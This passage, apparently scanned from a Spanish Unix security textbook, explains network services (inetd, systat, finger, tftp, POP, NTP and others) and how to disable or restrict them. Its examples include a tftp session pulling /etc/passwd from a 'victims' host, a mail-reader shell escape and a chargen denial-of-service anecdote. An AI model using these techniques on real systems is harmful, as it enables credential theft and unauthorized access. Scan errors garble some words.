decrementar el campo ttl en una unidad; en el caso de que se alcance un valor 0, se devuelve un 
paquete TIME_EXCEEDED y se clescarta la trama. Asf, traceroute inicializa a 1 este campo, lo que 
ocasiona que el primer router encontrado ya devuelva el mensaje de error; al recibirlo, lo inicializa 
a 2, y ahora es el segundo router el que descarta el paquete y envfa otro mensaje de error, y asi 
sucesivamente. De esta forma se va construyendo la ruta hasta un determinado host remoto: 

luisa:~# traceroute www.altavista.com 

traceroute to altavista.com (204.152.190.70), 30 hops max, 40 byte packets 

1 annex4.net.upv.es (158.42.240.191) 156.251 ms 144.468 ms 139.855 ms 

2 zaurac-r.net.upv.es (158.42.240.250) 159.784 ms 149.734 ms 149.809 ms 

3 atlas.cc.upv.es (158.42.1.10) 149.881 ms 149.717 ms 139.853 ms 

4 Al-0-3.EB-Valencial.red.rediris.es (130.206.211.185) 149.863 ms 

150.088 ms 149.523 ms 

5 A0-1-2.EB-Madrid00.red.rediris.es (130.206.224.5) 189.749 ms 

159.698 ms 180.138 ms 

6 A6-0-0-l.EB-Madrid0.red.rediris.es (130.206.224.74) 179.518 ms 

159.678 ms 189.897 ms 

7 194.69.226.13 (194.69.226.13) 259.752 ms 249.664 ms 259.83 ms 

8 * * 195.219.101.1 (195.219.101.1) 290.772 ms 

9 195.219.96.34 (195.219.96.34) 1680.33 ms 1660.36 ms 1669.83 ms 

10 * 195.66.225.76 (195.66.225.76) 1660.68 ms 1650.33 ms 

11 corel-linx-oc3-l.lhr.above.net (216.200.254.81) 2009.88 ms 1970.32 ms * 

12 iad-lhr-stm4.iad.above.net (216.200.254.77) 2050.68 ms * * 

13 sjc-iad-ocl2-2.sjc.above.net (216.200.0.22) 2440.89 ms 2170.29 ms 

2579.81 ms 

14 pao-sjc-ocl2-2.pao.above.net (207.126.96.65) 2441.19 ms 2140.32 ms * 

15 mibh-above-oc3.pao.mibh.net (216.200.0.10) 2200.57 ms * * 

16 * * www.altavista.com (204.152.190.70) 1810.56 ms 

luisa: ~# 

traceroute se utiliza para realizar pruebas, medidas y administration de una red; introduce mucha 
sobrecarga, lo que evidentemente puede acarrear problemas de rendimiento, llegando incluso a 
negaciones de servicio por el elevado tiempo de respuesta que el resto de aplicaciones de red pueden 
presentar. Ademas, se trata de un programa contenido en un fichero setuidado, por lo que es 
interesante resetear el bit de setuid de forma que solo el root pueda ejecutar la orden: hemos de 
pensar que un usuario normal rara vez tiene que realizar pruebas sobre la red, por lo que el bit 
setuid de traceroute no es mas que un posible problema para nuestra seguridad; aunque con ping 
sucede lo mismo (es un fichero setuidado) , que un usuario necesite ejecutar traceroute es menos 
habitual que que necesite ejecutar ping (de cualquier forma, tambien podriamos resetear el bit 
setuid de ping). 

10.4 Servicios 

Los servicios ofrecidos por una maquina al resto suelen ser uno de los principals puntos de ataque 
contra esa maquina; estos ataques pueden implicar desde negaciones de servicio (DoS, Denial of 
Service ) mas o menos graves hasta un acceso root remoto sin necesidad de ninguna clave. 

Hay dos formas basicas de ofrecer un servicio: o mediante inetd, o bien lanzando un demonio 
que se asocia y escucha en cierto puerto, generalmente en el arranque del sistema. Por norma 
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general se recomienda ofrecer el mi'nimo numero de servicios; incluso si hay algiin servicio que no 
sabemos para que se utiliza, lo mejor para nuestra seguridad serfa dejar de ofrecerlo. 

Dejar de ofrecer cierto servicio en maquinas Unix es muy sencillo; no necesitamos reiniciar el 
sistema para que los cambios tengan efecto ni nada por el estilo: con un simple editor de textos 
podemos limitar los servicios ofrecidos. En el caso de servicios ofertados a traves de inetd, no tene- 
mos mas que editar /etc/ inetd. conf y comentar las lfneas correspondientes a los servicios a cerrar 
(los comentarios en ficheros de configuration de Unix suelen ser lineales, utilizando el sfmbolo #). 
Despues de comentar las lfneas correspondientes hemos de reiniciar el demonio inetd cnviandole la 
serial SIGHUP (con ordenes como kill, pkill o killall). En el caso de demonios independientes 
lanzados durante el arranque del sistema no tenemos mas que enviarles la serial SIGTERM (por nor- 
ma general, aunque en algunos casos quizas es necesaria SIGKILL), y tambien editar los ficlreros que 
lanzen estos demonios y comentar las lfneas encargadas de la initialization, para que no se vuelvan 
a lanzar la proxima vez que la maquina arranque; generalmente se tratara de archivos situados en 
/etc/rc.d/ o en /etc/rc?.d/. 

Veamos un ejemplo: imaginemos que en nuestro /etc/inetd. conf tenemos la lrnea del servicio 
de telnet que hemos mostrado anteriormente. En este caso, si alguien ejecuta un telnet a nuestro 
sistema, vera algo parecido a esto: 

rosita:~$ telnet anita 
Trying 195.195.5.3... 

Connected to anita. 

Escape character is ’ ~] ’ . 

SunOS 5.7 

login: 

Si esta lrnea de /etc/inetd. conf la sustituimos por 

#telnet stream tcp nowait root /usr/sbin/in.telnetd 

y a continuation ejecutamos pkill -HUP inetd, cuando alguien haga un telnet a nuestra maquina 
vera esto: 

rosita:~$ telnet anita 
Trying 195.195.5.3... 

telnet: Unable to connect to remote host: Connection refused 
rosita: ~$ 

Demonios trpicos que se lanzan desde inetd son in.telnetd (para recibir peticiones telnet), 
in.ftpd (para peticiones ftp), in.talkd (para peticiones talk), in.fingerd (para finger remo- 
to) o in.r*, para los servicios r-* de Unix BSD. Demonios que se suelen lanzar en el arranque 
del sistema son sendmail (gestion de correo electronico) , httpd (servicio http), lpd (demonio de 
impresion), inetd (recordemos que es un demonio que tambien se ha de iniciar en el arranque) o 
nf sd (para compartir sistemas de ficheros mediante NFS); algunos de estos conviene servirlos desde 
inetd en lugar de como demonios independientes, por motivos de seguridad que ya veremos al 
hablar de TCP Wrappers. 

Hasta ahora hemos hablado de dos formas de ofrecer un servicio: o bien a traves de inetd, o bien 
como demonio independiente lanzado al arrancar el sistema; realmente, existe una tercera forma de 
ofrecer servicios, y es el mecanismo RPC ( Remote Procedure Call), original de Sun Microsystems 
pero que en la actualidad esta implementado tambien por OSF ( Open Software Foundation) en su 
DCE ( Distributed Computing Environment ) y por OMG ( Open Management Group ) en CORBA 
( Common Object Request Broker Architecture). La idea basica del funcionamiento de RPC es sen- 
cilla: existe un programa denominado portmap, rpcbind, rpc.portmap. . . (su nombre depende del 
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cion de Unix utilizado) que los servidores RPC utilizan para registrarse. Asf, cuando un cliente 
desea utilizar esos servicios, en lugar de conectar a un puerto determinado donde se encuentre el 
servidor lo hace al puerto del portmapper, que le indicara la ubicacion exacta del servidor solici- 
tado. Como estos mecanismos pueden llegar a ser muy complejos no vamos a entrar en detalles 
de su seguridad; solo decir que existe una version de portmap desarrollada por Wietse Venema 
que utiliza un control de accesos similar a TCP Wrappers , lo que evidentemente va a ser muy litil 
para nuestra seguridad: solo permitiremos conexiones RPC a los sistemas deseados, denegando el 
acceso al resto. Mas detalles de la seguridad de RPC pueden encontrarse en el capitulo 19 de [GS96]. 

Cada puerto abierto en nuestro sistema representa una puerta de entrada al mismo, por lo que 
como hemos dicho, hemos de minimizar su numero ofreciendo solo los servicios estrictamente ne- 
cesarios. Por ejemplo, si ofrecemos el servicio telnet, cualquier persona, desde cualquier parte del 
mundo, podra acceder a nuestra maquina simplemente conociendo (o adivinando) un nombre de 
usuario y su clave; si ofrecemos el servicio netstat, cualquiera podra consultar las conexiones acti- 
vas de nuestra red simplemente tecleando telnet maquina . dominio . com netstat, desde cualquier 
ordenador conectado a la red. Pero no solo nos tenemos que limitar a cerrar servicios: hay algunos 
que, como administradores de un sistema, no vamos a tener mas remedio que ofrecer; en este caso es 
casi obligatorio restringir su disponibilidad a un numero de maquinas determinado, como veremos 
al hablar de TCP Wrappers, y por supuesto utilizar la ultima version de los demonios encargados 
de procesar las peticiones: un demonio no es mas que un programa, y por supuesto es muy dificil 
que este completamente libre de errores. Un error en el demonio que utilicemos para procesar una 
petition puede comprometer la seguridad de todo nuestro sistema, por lo que se recomienda estar 
atento a listas de seguridad (como bugtraq o cert) en las que se difundan problemas de seguridad 
y sus soluciones. 
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Capitulo 11 


Algunos servicios y protocolos 


11.1 Introduction 

En este capitulo vamos a hablar de la seguridad (e inseguridad) cle algunos de los protocolos, servi- 
cios y programas que los implementan en los entornos Unix. No vamos a entrar en detalles sobre el 
funcionamiento de cada uno de ellos, ya que ese seria un trabajo que excederia los objetivos de este 
proyecto; para mas referencias se puede consultar [Ste90] (detalles de la implementation interna de 
algunos servicios) o [Ste94]. 

Podemos ver los diferentes servicios que un sistema Unix ofrece como potenciales puertas de entrada 
al mismo, o al menos como fuentes de ataques que ni siquiera tienen por que proporcionar acceso 
a la maquina - como las negaciones de servicio De esta forma, si cada servicio ofrecido es un 
posible problema para nuestra seguridad, parece claro que lo ideal seria no ofrecer ninguno, poseer 
una maquina completamente aislada del resto; evidentemente, esto no suele ser posible hoy en dia 
en la mayor parte de los sistemas 1 . Por tanto, ya que es necesaria la conectividad entre equipos, 
hemos de ofrecer los mmirnos servicios necesarios para que todo funcione correctamente; esto 
choca frontalmente con las politicas de la mayoria de fabricantes de sistemas Unix, que por defecto 
mantienen la mayoria de servicios abiertos al instalar un equipo nuevo: es responsabilidad del ad- 
ministrador preocuparse de cerrar los que no sean estrictamente necesarios. 

Tipicos ejemplos de servicios que suele ser necesario ofrecer son telnet o ftp ; en estos casos no 
se puede aplicar el esquema todo o nada que vimos al estudiar el sistema de red de Unix, clonde 
o bien ofreciamos un servicio o lo denegabamos completamente: es necesaria una correcta confi- 
guration para que solo sea posible acceder a ellos desde ciertas maquinas, como veremos al hablar 
de TCP Wrappers. Tambien es una buena idea sustituir estos servicios por equivalentes cifrados, 
como la familia de aplicaciones SSH, y concienciar a los usuarios para que utilicen estos equivalentes: 
hemos de recordar siempre - y recorclar a los usuarios - que cualquier conexion en texto claro entre 
dos sistemas puede ser facilmente capturada por cualquier persona situada en una maquina inter- 
media, con lo simplemente utilizando telnet estamos poniendo en juego la seguridad de sistemas 
y redes completas. 

Aparte de puertas de entrada, los servicios ofrecidos tambien son muy susceptibles de ataques 
de negation de servicio (DoS), por ejemplo por demasiadas conexiones abiertas simultaneamente 
en una misma maquina; incluso es posible que uno de estos ataques contra cierto servicio inutilice 
completamente a inetd, de forma que todos los ofrecidos desde el quedan bloqueados hasta que el 
demonio se reinicia. Este problema incluso puede ser muy grave: imaginemos que por cualquier 
motivo - inetd deja de responder peticiones; si esto sucede es posible que ni siquiera podamos ac- 
ceder a la maquina remotamente para solucionar el problema (por ejemplo telnet o incluso SSH si 

1 No obstante, algunos equipos que no necesitan estar conectados entre si, lo estan; cada administrador deberia 
preguntarse si realmente necesita sus maquinas conectadas a la red. 
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lo servimos deste inetd dejarfan de funcionar). Para evitar este problema, muchos administradores 
planifican una tarea que se ejecute cada pocos minutos mediante cron, y que simplemente envie la 
serial SIGHUP a inetd, por ejemplo anadiendo esta entrada a su fichero crontab 2 : 

***** killall -HUP inetd 

Si en nuestro cion de Unix no disponemos de una orden para enviar seiiales a los procesos en funcion 
de su nombre (como pkill en Solaris o killall en Linux o IRIX) podemos utilizar un poco de 
programacion shellscript para conseguirlo: 

***** kill -HUP ‘ps -auxwlgrep inetdlgrep -v grep I awk ’{print $2}’‘ 

11.2 Servicios basicos de red 

Dentro de este apartado vamos a comentar brevemente la funcion de algunos servicios de Unix y 
sus potenciales problemas de seguridad. Los aqui expuestos son servicios que habitualmente han 
de estar cerrados, por lo que no implican excesivos problemas de seguridad conocidos. Asf, no 
vamos a entrar en muchos detalles con ellos; en puntos siguientes hablaremos con mas extension de 
otros servicios que suelen estar ofrecidos en todas las maquinas, como ftp , telnet o SMTP, y que en 
su mayoria presentan mayores problemas de seguridad. 

11.2.1 systat 

El servicio systat se asocia al puerto 11 de una maquina Unix, de forma que al recibir una peticion 
mediante TCP el demonio inetd ofrece una imagen de la tabla de procesos del sistema, por ejemplo 
ejecutando una orden como ps -auwwx en Linux o ps -ef en Solaris; en algunos Unices se ofrece la 
salida de ordenes como who o w en lugar de la tabla de procesos: es facil configurar lo que cada ad- 
ministrador desee mostrar simplemente modificando la linea correspondiente de /etc/ inetd. conf : 

anita:~# grep systat /etc/ inetd . conf 

systat stream tcp nowait root /usr/bin/ps ps -ef 

anita: ~# 

Bien se ofrezca la tabla de procesos o bien otro tipo de information sobre el sistema, este servicio 
es habitual encontarlo deshabilitado, ya que cualquier dato sobre nuestro sistema (especialmente 
procesos, nombres de usuario, maquinas clesde las que conectan. . . ) puede ser aprovechado por un 
pirata para atacar el equipo. Si por motivos de comodidad a la hora de administrar varios hosts 
dentro de una red local necesitamos tener abierto systat, debemos restringir las direcciones desde 
las que se puede acceder al servicio mediante TCP Wrappers. 

11.2.2 daytime 

El servicio daytime, asociado al puerto 13, tanto TCP como UDP, es un servicio interno de inetd 
(esto es, no hay un programa externo que lo sirva, el propio inetd se encarga de ello); al recibir 
una conexon a este puerto, el sistema mostrara la fecha y la hora, en un formato muy similar al 
resultado de la orden date: 

anita: ~# telnet rosita daytime 
Trying 195 . 195 . 5 . 1 . . . 

Connected to rosita. 

Escape character is 
Thu Apr 20 05:02:33 2000 
Connection closed by foreign host, 
anita: ~# 

2 Es recomendable consultar la sintaxis de estos ficheros en el cion de Unix en que trabajemos, ya que puede variar 
entre diferentes Unices. 
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Aunque a primera vista este servicio no represente un peligro para la integridad de nuestro sistema, 
siempre hemos de recordar una norma de seguridad fundamental: solo hay que ofrecer los servicios 
estrictamente necesarios para el correcto funcionamiento de nuestras maquinas. Como daytime no 
es un servicio basico, suele ser recomendable cerrarlo; ademas, la information que proporciona, 
aunque escasa, puede ser suficiente para un atacante: le estamos indicando el estado del reloj de 
nuestro sistema, lo que por ejemplo le da una idea de la ubicacion geografica del equipo. 

Un servicio parecido en much os aspectos a daytime es time (puerto 37, TCP y UDp); tambien indica 
la fecha y hora del equipo, pero esta vez en un formato que no es inteligible para las personas: 

anita: ~# telnet rosita time 
Trying 195 . 195 . 5 . 1 . . . 

Connected to rosita. 

Escape character is ’ ~] ’ . 

[’ “Connection closed by foreign host, 
anita: ~# 

Este servicio suele ser mas util que el anterior: aunque una persona no entienda la information 
mostrada por time, si que lo hace una maquina Unix. De esta forma, se utiliza time en un servidor 
para que las estaciones cliente puedan sincronizar sus relojes con el con ordenes como netdate o 
rdate: 

luisa:~# date 

Thu Apr 20 02:19:15 CEST 2000 
luisa:~# rdate rosita 
[rosita] Thu Apr 20 05:10:49 2000 
luisa:~# date 

Thu Apr 20 02:20:02 CEST 2000 
luisa:~# rdate -s rosita 
luisa:~# date 
Thu Apr 20 05:11:59 2000 
luisa: ~# 

Los problemas de time son en principio los mismos que los de daytime ; aunque tambien es recomen- 
dable mantener este servicio cerrado, es mas facil imaginar situaciones en las que un administrador 
desee ofrecer time en varias maquinas que imaginar la necesidad de ofrecer daytime. 

11.2.3 netstat 

De la misma forma que systat ofrecia information sobre el estado de nuestro sistema, netstat la 
ofrece sobre el estado de nuestra red. Este servicio, asociado al puerto 15 con protocolo TCP, 
ejecuta una orden como netstat (con argumentos que dependen del cion de Unix utilizado) para 
mostar principalmente las conexiones activas en la maquina; por ejemplo, si en Linux invocamos 
a netstat clesde /etc/inetd.conf con la option '-A inet’, al recibir una conexion se mostrara 
algo parecido a lo siguiente: 

anita: ~# telnet rosita netstat 
Trying 195.195.5.1... 

Connected to rosita. 

Escape character is ’ ~] ’ . 

Active Internet connections (w/o servers) 

Proto Recv-Q Send-Q Local Address Foreign Address State 

tcp 0 0 rosita: netstat anita: 4990 ESTABLISHED 

Connection closed by foreign host, 
anita: ~# 
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Como sucedi'a con systat, es recomendable deshabilitar este servicio comentando la linea corres- 
pondiente de /etc/inetd. conf, o en todo caso restringir el acceso al mismo a maquinas de nuestra 
red local, mediante TCP Wrappers. La informacion sobre el estado del sistema de red o al menos 
de parte del mismo - puede ser muy util para un atacante, ya que por ejemplo le esta mostrando 
nombres de hosts y ademas le permite hacerse una idea del trafico que soporta la maquina, de los 
servicios que ofrece, de los habitos de conexion de los usuarios. . . 

11.2.4 chargen 

chargen (puerto 19, TCP y UDp) es un generador de caracteres servido internamente por inetd, que 
se utiliza sobre todo para comprobar el estado de las conexiones en la red; cuando alguien accede 
a este servicio simplemente ve en su terminal una secuencia de caracteres ASCII que se repite in- 
definidamente. 

Los posibles problemas de seguridad relacionados con chargen suelen ser negaciones de servicio, 
tanto para la parte cliente como para la servidora. Sin duda el ejemplo mas famoso de utilization 
de chargen es una de las anecdotas del experto en seguridad Tsutomu Shimomura (el principal 
contribuidor en la captura de Kevin Mitnick, el pirata mas famoso de los noventa): cuando co- 
nectaba a un servidor de ftp anonimo, Shimomura se dio cuenta de que la maquina lanzaba un 
finger contra el cliente que realizaba la conexion. Esto no le gusto, y decidio comprobar si ese 
sistema utilizaba el finger habitual; para ello modified el fichero / etc/ inetd . conf de su sistema de 
forma que las peticiones finger se redireccionaran al generador de caracteres chargen. Conecto al 
servidor de nuevo, y al hacer este otro finger, la maquina de Shimomura se dedico a enviar megas 
y megas de caracteres ( chargen no finaliza hasta que el cliente corta la conexion); en unas pocas 
horas el sistema remoto quedo inoperativo, y a la manana siguiente ese finger automatico habia 
sido eliminado de la configuracion del servidor. Ese servidor no habria sufrido una caida si hubiera 
utilizado safe_f inger, un programa de Wietse Venema que se distribuye junto a TCP Wrappers y 
que limita la potential cantidad de informacion que finger puede recibir. 

11.2.5 tftp 

tftp ( Trivial File Transfer Protocol) es un protocolo de transference de ficheros asociado al puerto 69 
y basado en UDP que no proporciona ninguna seguridad. Por tanto en la mayoria de sistemas es 
obligatorio que este servicio este desactivado; su uso principal es el arranque de estaciones diskless 
o de routers a traves de la red, ya que la simpleza del protocolo permite implementarlo en un 
chip, y solo en ese caso nos veremos obligados a ofrecer el servicio. Si es este el caso, los ficheros 
que deseemos que sean publicos se han de situar en un determinado directorio (dependiendo del 
cion de Unix, /tftpboot/, /etc/tftpboot/, /usr/local/boot/. . . ) o utilizar otros nombres de 
directorio como argumentos del demonio en / etc/ inetd . conf, algo no recomendable. Por ejemplo, 
si en /tftpboot/ guardamos una copia de la imagen del kernel, los clientes podran acceder a ella 
mediante la orclen tftp: 

luisa: ~# tftp rosita 

tftp> get vmlinuz 

Received 531845 bytes in 3.4 seconds 

tftp> quit 

luisa: ~# 

Podemos ver que en ningun momento se solicita un nombre de usuario o una clave, lo que nos da 
una idea de los graves problemas de seguridad que el ofrecer este servicio puede implicarnos. Hasta 
hace unos aiios, era normal que los fabricantes de sistemas Unix vendieran sus productos con tftp 
abierto y sin configurar, con lo que un pirata lo tenia muy facil para conseguir cualquier fichero de 
contrasenas: 


luisa: ~# tftp victims 
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tftp> get /etc/passwd /tmp/salida 
Received 1845 bytes in 0 . 6 seconds 
tftp> quit 
luisa: ~# 

11.2.6 finger 

Tipicamente el servicio finger (puerto 79, TCP) ha sido una de las principales fuentes de problemas 
de Unix. Este protocolo proporciona informacion demasiado detallada - de los usuarios de una 
maquina, esten o no conectados en el momento de acceder al servicio; para hacerlo, se utiliza la 
aplicacion finger desde un cliente, clandole como argumento un nombre de maquina precedido del 
simbolo 'O’ y, opcionalmente, de un nombre de usuario (finger sobre el sistema local no utiliza el 
servicio de red, por lo que no lo vamos a comentar aqui) . En el primer caso, f inger nos dara datos 
generales de los usuarios conectados en ese momento a la maquina, y en el segundo nos informara 
con mas detalle del usuario especificado como parametro, este o no conectado: 


anita: ~# 
[rosita] 
Login 

finger Qrosita 
Name 

Tty 

Idle 

Login Time 

Office 

Office Phone 

toni 

Toni at ROSITA 

*/0 

28 

Apr 20 04:43 

(anita) 


root 

anita: ~# 
[rosita] 

El Spiritu Santo 
finger toniQrosita 

1 

12 

Apr 11 02:10 



Login: toni 



Name: Toni at 

ROSITA 



Directory: /home/toni Shell: /bin/bash 

On since Thu Apr 20 04:43 (CEST) on pts/0 from anita 
30 minutes 28 seconds idle 
(messages off) 

No mail. 

No Plan, 
anita: ~# 

Como podemos ver, finger esta proporcionando mucha informacion que podrfa ser de utilidad 
para un atacante: nombres de usuario, habitos de conexion, cuentas inactivas. . . incluso algunas 
organizaciones rellenan exhaustivamente el campo gecos del fichero de contrasehas, con datos como 
numeros de habitation de los usuarios o incluso su telefono. Esta claro que esto es facilmente 
aprovechable por un pirata para practicar ingenieria social contra nuestros usuarios - o contra 
el propio administrador -. Es basico para la integridad de nuestras maquinas deshabilitar este 
servicio, restringir su acceso a unos cuantos equipos de la red local mediante TCP Wrappers o utilizar 
versiones del demonio f ingerd como ph ( Phone Book), que permiten especificar la informacion que 
se muestra al acceder al servicio desde cada maquina. 

11.2.7 POP 

El servicio POP ( Post Office Protocol , puertos 109 y 110 en top) se utiliza para que los usuarios 
puedan acceder a su correo sin necesidad de montar sistemas de ficheros compartidos mediante 
NFS: los clientes utilizan SMTP para enviar correo y POP para recogerlo del servidor, de forma que 
el procesamiento se realice en la maquina del usuario. Se trata de un servicio que podri'amos consi- 
derar peligroso, por lo que - como el resto, pero este especialmente - debemos deshabilitarlo a no 
ser que sea estrictamente necesario ofrecerlo; en ese caso debemos restringir al maximo los lugares 
desde los que se puede acceder, mediante TCP Wrappers. 

En algunos sistemas se utiliza POP simplemente para evitar otorgar cuentas completas a los usua- 
rios: si solo van a utilizar la maquina para leer su correo, ipor que ofrecerles un shell ‘completo’, con 
acceso a todo el sistema? Realmente esto es cierto (seri'a un error permitir ejecutar ciertas ordenes a 
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aquellos que solo utilizaran el equipo para gestionar su correo), pero en muchas ocasiones esta solu- 
tion no es del todo conveniente: aparte de los peligros que implica un servicio adicional, que de otra 
forma no utilizariamos - en algunos demonios de POP han surgido bugs que incluso otorgaban un 
privilegio de root remoto sin necesidad de ninguna clave estamos generando un transito peligroso 
de contrasenas a traves de la red. pop ofrece tres modelos distintos de autenticacion: uno basado 
en Kerberos , apenas utilizado, otro basado en un protocolo desaffo-respuesta (apop, que tampoco 
se suele utilizar), y otro basado en un simple nombre de usuario con su password correspondiente. 
Este ultimo, el mas usado en todo tipo de entornos, es un excelente objetivo para un pirata con 
un sniffer: los usuarios suelen configurar sus clientes para que chequeen el buzon de correo cada 
pocos minutos, con lo que a intervalos muy cortos envian su clave a un puerto conocido de una 
maquina conocida; al realizar toda esta comunicacion en texto claro, un atacante no tiene mas que 
interceptar la sesion POP para averiguar nombres de usuario y claves (aparte de poder leer el correo 
que baja del servidor al cliente). Si lo que deseamos es que nuestros usuarios no disfruten de una 
cuenta completa simplemente para gestionar su correo, podemos sustituir su shell en /etc/passwd 
por el nombre de dicho lector: 

ircd: x : 1001 : 100 : Gestion IRC, , , : /home/ ircd: /usr/bin/pine 

En este caso hemos de tomar una precaution adicional: la mayoria de programas de correo (elm, 
pine...) permiten escapes al shell, procedimientos que tarde o temprano ejecutan con exito un 
interprete de ordenes; por ejemplo, con elm no tenemos mas que iniciar vi para escribir un mensaje 
y en el editor ejecutar : !/bin/sh para ejecutar este interprete. Para evitar estos escapes o bien 
podemos modificar el codigo del gestor de correo - algo no muy habitual - o utilizar ya versiones 
modificadas disponibles a traves de Internet. 

11.2.8 auth 

Se llama socket a la combination de una direction de maquina y un puerto; esta entidad identifica 
un proceso unico en la red ([CZ95]). Un par de sockets, uno en la maquina receptora y otro en 
la emisora definen una conexion en protocolos como TCP; esta conexion tambien sera linica en la 
red en un instante dado. Como vemos, no entra en juego ningun nombre de usuario: en tcp/ip 
se establecen canales de comunicacion entre maquinas, no entre personas; no obstante, en muchas 
ocasiones nos puede interesar conocer el nombre de usuario bajo el que cierta conexion se inicia. 
Por ejemplo, de esta forma podrfamos ofrecer o denegar un servicio en funcion del usuario que lo 
solicita, aparte de la maquina desde donde viene la petition. 

El protocolo auth (puerto 113, tcp) viene a solucionar este problema con un esquema muy simple: 
cuando un servidor necesita determinar el usuario que ha iniciado una conexion contacta con el 
demonio identd y le envfa los datos necesarios para distinguir dicha conexion (los componentes de 
los dos sockets que intervienen) de las clemas. De esta forma, el demonio identifica al usuario en 
cuestion y devuelve al servidor information sobre dicho usuario, generalmente su login. Por ejemplo, 
si utilizamos TCP Wrappers - un programa servidor que utiliza este mecanismo para determinar 
nombres de usuario siempre que sea posible se registara el login del usuario remoto que solicita 
un servicio en nuestra maquina si el sistema remoto tiene habilitado auth: 

luisa:~# tail -2 ~adm/syslog 

Apr 24 04:16:19 luisa wu.ftpd[1306] : connect from rosita 

Apr 24 04:16:21 luisa ftpd[1306]: ANONYMOUS FTP LOGIN FROM \ 
rosita [195.195.5.1], toni@ 

luisa: ~# 

No obstante, si el sistema desde el que esa persona conecta no tiene habilitado dicho servicio, el 
nombre de usuario no se va a poder conseguir: 

luisa: ~# tail -2 “adm/syslog 

Apr 24 04:19:37 luisa wu.ftpd[1331] : connect from rootOanita 
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Apr 24 04:19:39 luisa ftpd[1331]: ANONYMOUS FTP LOGIN FROM \ 
root @ anita [195.195.5.3], toni@ 

luisa: ~# 

El servicio auth no se debe utilizar nunca con propositos de autenticacion robusta, ya que depen- 
demos no de nuestros sistemas, sino de la honestidad de la maquina remota; un atacante con el 
suficiente nivel de privilegio en esta puede enviarnos cualquier nombre de usuario que desee. Incluso 
en ciertas situaciones, si ident no esta habilitado ni siquiera hacen falta privilegios para devolver un 
nombre falso: cualquier usuario puede hacerlo. En cambio, si que es util para detectar pequenas vio- 
laciones de seguridad, por lo que quizas interese habilitar el servicio en nuestras maquinas (aunque 
limitemos su uso mediante TCP Wrappers. 

11.2.9 NNTP 

El servicio NNTP ( Network News Transfer Protocol , puerto 119 TCP) se utiliza para intercambiar 
mensajes de grupos de noticias entre servidores de news. Los diferentes demonios encargados de 
esta tarea (como in.nntpd o innd) suelen discriminar conexiones en funcion de la direction o el 
nombre de la maquina cliente; por ejemplo, el primero utiliza el fichero nntp_access para decidir si 
ofrece el servicio de news a un determinado host, y si es asi concretar de que forma puede acceder 
a el (solo lectura, solo ciertos grupos. . . ). De esta forma, los servidores NNTP son muy vulnerables 
a cualquier ataque que permita falsear la identidad de la maquina origen, como el IP Spoofing. 

Los problemas relacionados con las news no suelen ser excesivamente graves desde un punto de 
vista estrictamente tecnico, pero en ocasiones si que lo son aplicando una vision global. Por ejem- 
plo, habria que evaluar el dario que le supone a la imagen de nuestra organization el que un atacante 
envie mensajes insultantes o pornograficos utilizando nuestro nombre o nuestros recursos. Tambien 
es un problema la mala education de los usuarios en materias de seguridad informatica: tienden a 
creer todo lo que leen en ciertos grupos de noticias, por lo que un atacante podria utilizar ingenieria 
social para perjudicar a nuestra organization. Otra amenaza comun es el uso de grupos de news 
privados (internos) para tratar information confidential en la organization: esto es un error, ya que 
si la privacidad del servidor se ve comprometida un atacante puede obtener datos que a priori no 
estaria autorizado a saber. 

Realmente, es muy poco probable que necesitemos ofrecer este servicio, por lo que lo mas razo- 
nable para nuestra seguridad es deshabilitarlo. Generalmente solo existen servidores de noticias 
en grandes organizaciones - como las universidades y ademas lo normal es que solo haya uno 
por entidad. Si debemos administrar ese equipo la mejor forma de proteger el servicio NNTP es 
utilizando un buen cortafuegos ([GS96]). 

11.2.10 NTP 

NTP ( Network Time Protocol, puerto 123 UDP y TCP) es un protocolo utilizado para sincronizar 
relojes de maquinas de una forma muy precisa; a pesar de su sofisticacion no fue disenado con 
una idea de robustez ante ataques, por lo que puede convertirse en una gran fuente de problemas 
([Bis90]) si no esta correctamente configurado o si no utilizamos versiones actualizadas de nntpd, 
el demonio que ofrece este servicio. 

Son muchos los problemas de seguridad relacionados con un tiempo correcto; el mas simple y 
obvio es la poca fiabilidad que ofrecera nuestro sistema de log a la hora de determinar cuando 
sucedio determinado evento: aunque se registrara que alguien hizo un telnet a las tres de la tarde, 
no podrfamos ni siquiera asegurar que la hora es correcta. Otro problema tipico radica en las faci- 
lidades que ofrece Unix para la planificacion de tareas: si el reloj tiene problemas, es posible que 
ciertas tareas no se lleguen a ejecutar, que se ejecuten varias veces, o que se ejecuten cuando no 
han de hacerlo; esto es especialmente peligroso para tareas de las que clepende nuestra seguridad, 
como la rotation de logs. Si hablamos de problemas mas sofisticados, podemos pensar en sistemas 
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distribuidos, en los que una correcta sincronizacion entre nodos es basica para garantizar el correcto 
funcionamiento del sistema global ([Tan95], [CDK94], . . la sincronizacion es muy importantes en 
modelos de autenticacion como Kerberos, que utiliza marcas de tiempo como pruebas de frescura 
para evitar ataques por reenvfo. 

Como hemos visto, una correcta sincronizacion del reloj de nuestro equipo es vital para la se- 
guridad; no obstante, muy pocos sistemas necesitan la precision de NTP, por lo que es habitual 
tener este servicio deshabilitado. En la mayoria de ocasiones el propio reloj de la maquina, o un 
protocolo mucho mas simple, como time, es mas que suficiente para sincronizar equipos. 


11.2.11 UUCP 

UUCP ( Unix to Unix CoPy, puerto 540 tcp) es un servicio que, como su nombre indica, se utiliza 
para copiar ficheros entre maquinas Unix, generalmente a traves de lfneas telefonicas o redes de 
baja velocidad; aunque hoy en dia apenas se utiliza, durante anos ha sido la base de los sistemas de 
correo electronico y de news (incluso hoy en dia algunos sistemas UUCP son capaces de transmitir 
noticias de Usenet mas eficientemente que la mas moderna implementation de NNTp) . 

Dos riesgos fundamentales amenazan a UUCP: al tratarse de una transmision en texto claro, un 
potencial atacante puede tener acceso a information privada de los usuarios, vulnerando su privaci- 
dad. Evidentemente, en el caso de transmision de news esto no es muy relevante, ya que todos los 
mensajes son en principio de acceso publico, pero la cosa cambia si estamos transmitiendo correo 
electronico. El segundo riesgo es incluso mas preocupante que la perdida de privacidad: las contra- 
sehas de los usuarios tambien se transmiten en texto claro, con el consiguiente peligro que supone 
la interceptacion por parte de un pirata de dichas claves. Aunque si utilizamos lineas telefonicas la 
probabilidad de que un sniffer capture los clatos enviados es menor que si utilizamos una red TCP, 
en ambos casos el riesgo esta presente. 

Como siempre, y dado que como hemos dicho UUCP no se suele utilizar hoy en dia, lo mas re- 
comendable es deshabilitar este servicio; es mas, dado que suele existir un usuario uucp en todo 
sistema Unix (por motivos simplemente de compatibilidad) , hemos de estar atentos a los posibles 
